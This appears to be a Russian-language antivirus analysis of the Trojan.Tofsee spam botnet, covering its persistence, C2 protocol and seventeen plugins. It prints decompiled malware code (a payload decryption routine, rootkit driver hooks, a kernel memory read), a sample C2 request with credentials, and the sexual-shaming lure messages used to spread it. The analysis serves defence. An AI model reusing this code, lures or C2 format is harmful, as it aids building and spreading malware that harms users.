Многокомпонентный троянец с широким функционалом, предназначен для рассылки спама, способен выполнять множество других функций. После запуска сохраняет свою копию в папке:
%USER%\<rnd>.exe
Потом регистрирует ссылку на этот файл в ветви системного реестра, отвечающего за автозапуск приложений:
Software\Microsoft\Windows\CurrentVersion\Run MSConfig=%USER%\<rnd>.exe.
Затем троянец пытается встроиться в запущенный процесс svchost.exe.
После завершения установки Trojan.Tofsee соединяется с управляющим сервером и получает от него список узлов, откуда загружает свои дополнительные модули и шаблоны для спам-рассылки:
Основные функции для работы с сетью и протоколом SMTP реализованы в основном модуле Trojan.Tofsee. После успешного подключения к управляющему серверу тот отсылает троянцу ключи для расшифровки данных.
unsigned __int8 __cdecl decrypt_bin(BYTE *in, int size)
{
unsigned __int8 r; // al@1
BYTE *in_; // esi@1
unsigned __int8 k; // dl@1
r = size;
in_ = in;
for ( k = 0xC6u; in_ < &in[size]; k = r )
{
r = *in_ ^ 0xC6;
*in_ = k ^ (0x20 * *in_ | (*in_ >> 3));
++in_;
}
return r;
}
Данные имеют следующую структуру:
#pragma pack(push, 1)
struct tmsg
{
BYTE key[128];
_DWORD d33; //1
_DWORD d34; //1
_DWORD d35; //0x19000
_DWORD d36; //0
_DWORD ip_addr;
_DWORD srv_time;
BYTE rnd[0x30];
};
#pragma pack(pop)
Затем троянец передает на командный сервер данные о себе, пакет имеет заголовок и блок данных:
#pragma pack(push, 1)
struct thead
{
_DWORD size;
_DWORD size_decompress;
_DWORD crc32;
_BYTE flag_compress; (2 - compress)
DWORD op;
DWORD d2;
DWORD d3;
};
#pragma pack(pop)
#pragma pack(push, 1)
struct tbotinfo
{
DWORD flags_upd; //0
DWORD d1; //0
_DWORD id;
_DWORD f_45h; //0x45
_DWORD dword10; //0
_DWORD net_type; //0x1F
_DWORD VM;
_DWORD f_0Bh; //0xB
_DWORD dword20; //0
DWORD d10; //0
_DWORD lid_file_upd; //0
_DWORD tickcount;
DWORD tickcount_delta;
_DWORD born_date;
_DWORD localip;
DWORD host_bitflags; //0
DWORD d9; //0
_BYTE byte44;//0
_BYTE os; //0x51
BYTE unk[0x2E]; //00000...
};
#pragma pack(pop)
Данные и заголовок шифруются ключом, содержащимся в теле троянца, и ключом, принятым от сервера. Сервер передает троянцу задание, содержащее команды для последующего выполнения.
#pragma pack(push, 1)
struct theadplug
{
DWORD op;
BYTE name[0x10];
DWORD crc32;
DWORD size;
DWORD d8;
DWORD flag;
};
#pragma pack(pop)
В настоящий момент Trojan.Tofsee может загружать с удаленных серверов 17 подключаемых модулей, реализованных в виде динамических библиотек.
antibot.dll
Модуль, предназначенный для очистки инфицированного ПК от троянцев и других вредоносных программ (за исключением, разумеется, самого Trojan.Tofsee). Модуль реализует следующие функции:
- рекурсивный поиск файлов;
- рекурсивный поиск заданного значения по ветвям реестра;
- перечисление процессов;
- перечисление мьютексов;
- поиск заданного значения в ветви реестра Browser Helper Objects.
Trojan.Tofsee передает данному плагину конфигурационный файл, содержащий сведения о вредоносных программах, которые следует удалить.
blist.dll
Модуль для проверки правильности адресов удаленных узлов, передаваемых ему в виде блока конфигурационных данных. В исследованном образце имеются характерные строки:
services
period
blist_cfg
%u.%u.%u.%u.%s
localcfg
\log_%s.txt
c:\log_%s.txt
plg_blist
WSOCK32.dll
Sleep
InterlockedExchange
GetTickCount
CloseHandle
TerminateThread
lstrlenA
lstrcmpiA
CreateThread
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
blist.dll
plg_init
ddosR.dll
Плагин для реализации DDoS-атак. Способен реализовывать два вида атак: http flood и syn flood. Syn-пакеты отправляются через специальный драйвер, к которому плагин подключается по символической ссылке:
\\.\PassThru
grabb
Зашифрованный Trojan.PWS.Pony.5.
webb.dll
Модуль для журналирования данных браузера Microsoft Internet Explorer. Извлекает из своего тела и встраивает в процесс браузера библиотеку IEStub.dll, управляется отдельным конфигурационным файлом, имеющим следующие параметры:
webb_cfg
version
stor_data.max_size
stor_data.max_live
doc_timeout
img.dll
Модуль для работы с графическими файлами, загружает изображения в специальные структуры для дальнейшей работы других плагинов. Характерные строки:
%s.%s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Plugin restarted
img_callback: Loaded value='%s' base64 size=%d macr id=%d
img_callback: base64_encode error for block name='%s'
img_callback: Delete value='%s' macr id=%d
img_callback: required config version=1
img_callback: Wrong value of param '%s.name'
prefix
name
macroses
version
img_cfg
img_handler: Can't replace value size=%d. Buffer size=%d very small
\log_%s.txt
c:\log_%s.txt
plg_img
lstrcmpiA
lstrlenA
Sleep
InterlockedExchange
GetTickCount
lstrcmpA
GetEnvironmentVariableA
DeleteFileA
HeapAlloc
GetProcessHeap
HeapReAlloc
HeapFree
GetVolumeInformationA
GetSystemTimeAsFileTime
KERNEL32.dll
wsprintfA
USER32.dll
img.dll
plg_init
locsR.dll
Модуль извлекает почтовые адреса из Internet Account Manager и PStoreCreateInstance, формирует адрес отправителя в виде %NAMEPC%@mail.ru и пытается отправить сообщения по созданному списку.
miner.dll
Плагин загружает предназначенного для добычи криптовалюты Bitcoin троянца Trojan.BtcMine.148, устанавливает его и передает необходимые параметры при запуске.
protect.dll
Модуль устанавливает в папку system32\drivers\ вредоносную программу Trojan.Siggen.18257 в виде файла со случайным именем и расширением .sys, после чего запускает его. Этот вредоносный драйвер перечисляет следующие элементы:
NTSTATUS set_FileSystem()
{
NTSTATUS r; // eax@1
char v1; // [sp+4h] [bp-35Ch]@3
UNICODE_STRING Buffer; // [sp+20Ch] [bp-154h]@2
WCHAR SourceString; // [sp+310h] [bp-50h]@1
UNICODE_STRING DestinationString; // [sp+328h] [bp-38h]@1
OBJECT_ATTRIBUTES ObjectAttributes; // [sp+330h] [bp-30h]@1
ULONG Context; // [sp+348h] [bp-18h]@2
ULONG ReturnLength; // [sp+34Ch] [bp-14h]@2
NTSTATUS v8; // [sp+350h] [bp-10h]@1
UNICODE_STRING Destination; // [sp+354h] [bp-Ch]@3
HANDLE DirectoryHandle; // [sp+35Ch] [bp-4h]@1
decrypt((int)&SourceString, (int)&FileSystem, 12);
RtlInitUnicodeString(&DestinationString, &SourceString);
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 64;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
r = ZwOpenDirectoryObject(&DirectoryHandle, 1u, &ObjectAttributes);
v8 = r;
if ( r >= 0 )
{
if ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 1u, &Context, &ReturnLength) )
{
do
{
Destination.Buffer = (PWSTR)&v1;
Destination.Length = 0;
Destination.MaximumLength = 520;
RtlAppendUnicodeToString(&Destination, &SourceString);
RtlAppendUnicodeToString(&Destination, &Source);
RtlAppendUnicodeStringToString(&Destination, &Buffer);
set_pdo_hook0(&Destination);
}
while ( !ZwQueryDirectoryObject(DirectoryHandle, &Buffer, 0x104u, 1u, 0, &Context, &ReturnLength) );
}
memset(&SourceString, 0, 0x18u);
ZwClose(DirectoryHandle);
r = v8;
}
return r;
}
И на каждый полученный объект устанавливает собственный обработчик:
int __stdcall set_pdo_hook0(PUNICODE_STRING file)
{
int v1; // edi@1
v1 = ObReferenceObjectByName(file, 64, 0, 0x80000000, IoDriverObjectType, 0, 0, &file);
if ( v1 >= 0 )
{
set_pdo_hook((PDRIVER_OBJECT)file);
ObfDereferenceObject(file);
}
return v1;
}
NTSTATUS __stdcall set_pdo_hook(PDRIVER_OBJECT pdo)
{
NTSTATUS r; // eax@1
struct_5 *v2; // eax@4
struct_5 *v3; // ebx@4
NTSTATUS v4; // [sp+4h] [bp-8h]@1
struct_4 *v5; // [sp+8h] [bp-4h]@1
r = search_pdo(pdo, &v5);
v4 = r;
if ( r >= 0 )
{
if ( v5 )
{
r = 0;
}
else
{
v2 = (struct_5 *)ExAllocatePoolWithTag(0, 0xECu, 0x72746B4Du);
v3 = v2;
if ( v2 )
{
memset(v2, 0, 0xECu);
v3->pdo = pdo;
memcpy(v3->func1, pdo->MajorFunction, sizeof(v3->func1));
memcpy(v3->func2, pdo->MajorFunction, sizeof(v3->func2));
v3->func2[0] = (DWORD)MajorFunction0;
swap_pdo_func(pdo, v3->func2);
sub_80481776(v3);
r = v4;
}
else
{
r = -1073741670;
}
}
}
return r;
}
Обработчик скрывает элементы с именем System.
proxyR.dll
Модуль, реализующий функции http- и socks5-прокси. Прокси-серверу передается конфигурационный файл:
smtp.dll
Модуль предназначен для формирования и рассылки почтовых сообщений. Использует встроенный скриптовый язык для формирования сообщений и рассылает их по протоколу HTTPS. SSL-шифрование реализовано посредством Microsoft Unified Security Protocol Provider.
snrpR.dll
Библиотека для перехвата и анализа трафика на низком уровне, использует для этого специальный драйвер. Ищет в потоке данных информацию, передаваемую по протоколам FTP и SMTP, может подменять адреса и тело сообщений.
spread1.dll
Плагин используется для новых заражений. Умеет отправлять сообщения в Skype, а также через социальные сети Twitter, Facebook, «ВКонтакте». Отправляемые сообщения строятся по шаблону, который передается в конфигурационном файле. Шаблон имеет следующий вид:
vk.message1 %SPRD_TEXT1|%LANG_ID| %SPRD_URL3
Сообщения пользователям социальных сетей отправляются с учетом используемого ими национального языка. Например, русскоязычным пользователям рассылаются следующие сообщения:
Хай. Зацени свои интимные фотки :)
Привет! Офигеть... Неуж-то это ты?!
Привет друг) Попалился ты однако конекретно. Это ж ты?
Офигеть! Это ты? Это конкретное палево ч?
Ты идиот? Зачем таки? фотки выкладывать в сеть??
Спецом выложили эту фотку, где ты выглядишь как шлюха?))
Жесть!! Как можно было так спалиться?!
Твои родители уже видели?
5ли эту твою фото с вечеринки? ггг)
Вот это да! Ты прикалываешься? Такое фото выложить...)
В тексте сообщения приводится ссылка на страницу, где потенциальная жертва якобы может ознакомиться с компрометирующими ее видеозаписями или фотографиями. Однако для просмотра этого контента пользователю предлагается загрузить плагин для браузера, под видом которого распространяется Trojan.Tofsee.
Для отправки сообщений на сайты Twitter, Facebook и «ВКонтакте» модуль использует данные сессии из cookies браузеров Microsoft Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome. В программу Skype сообщения отсылаются с помощью нажатия кнопок в окне самого приложения. Модуль также умеет распознавать защиту captcha на сайте социальной сети Facebook — для этого она отправляется на сервер, где распознается, после чего троянец получает текст для ввода с соответствующую экранную форму.
spread2.dll
Плагин для заражения съемных flash-накопителей: сохраняет Trojan.Tofsee в Корзине, в корневой папке съемного накопителя создает файл autorun.inf. Заражение выполняется по команде с управляющего сервера.
sys.dll
Модуль для обновления ядра Trojan.Tofsee. Выполняет запросы в соответствии с заданными в конфигурационном файле параметрами:
POST /tsone/ajuno.php HTTP/1.1
Host: 111.121.*.*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://111.121.*.*/tsone/ajuno.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
u=name03&p=3sRd6Nf8H&l=11
Если в качестве входного параметра не указано значение «l», с управляющего сервера загружается следующий графический файл:
Для Windows с версией ядра 5.1 и 5.2 получает адрес PsInitialSystemProcess и читает адрес ядра следующим образом:
NTSTATUS __stdcall SysDbgCopyMemoryChunks_0(BYTE *va, BYTE *buf, int size)
{
struct_1 InputBuffer; // [sp+0h] [bp-Ch]@1
InputBuffer.va = va;
InputBuffer.buf = buf;
InputBuffer.size = size;
return ZwSystemDebugControl((DEBUG_CONTROL_CODE)8, &InputBuffer, 0xCu, 0, 0, 0);// SysDbgCopyMemoryChunks_0
}
Таким образом модуль получает указатель на EPROCCESS.
text.dll
Плагин обрабатывает конфигурационные шаблоны и соответствующим образом формирует их в памяти.webmR.dll
В данном модуле реализован скриптовый язык для создания рассылаемых троянцем писем. Пример скрипта:
C pop.mail.yahoo.com:995
X
R
S ya_pop_01.txt
o ^+OK
W """USER __S(ACC)__\r\n"""
R
S ya_pop_02.txt
o ^+OK
W """PASS __S(PASSWD)__\r\n"""
R
S ya_pop_03.txt
I L_END2_YA """pop not allowed"""
I L_END2_YA """invalid user/password"""
I L_END2_YA """mailbox could not be opened"""
o ^+OK
i L_END_YA """has """
i L_END_YA """ messages"""
p NUM """has """ """ messages"""
+ '__v(NUM)__'
v CNT 1
L L_LOOP_EMAILS_YA
v COMP __A(1|__v(CNT)__,>,__v(NUM)__)__
u L_END_YA 1 __v(COMP)__
v COMP __A(1|__v(CNT)__,>,50)__
u L_END_YA 1 __v(COMP)__
W """TOP __v(CNT)__ 12\r\n"""
R
S ya_pop_msg__v(CNT)__a.txt
o ^+OK
I L_RECEIVED_YA """From:"""
p SIZE """+OK """ """ byte(s)"""
R __v(SIZE)__
S ya_pop_msg__v(CNT)__b.txt
o From:
L L_RECEIVED_YA
i L_SKIP_EMAIL_YA """This is an automatically generated Delivery Status Notification."""
+ h
p OTLUP """This is an automatically generated Delivery Status Notification."""
h __v(OTLUP)__
W """DELE __v(CNT)__\r\n"""
R
S ya_pop_msg__v(CNT)__c.txt
o ^+OK
L L_SKIP_EMAIL_YA
v CNT __A(1|__v(CNT)__,+,1)__
J L_LOOP_EMAILS_YA
L L_END_YA
W """QUIT\r\n"""
R
S ya_pop_04.txt
o ^+OK
L L_END2_YA
E 1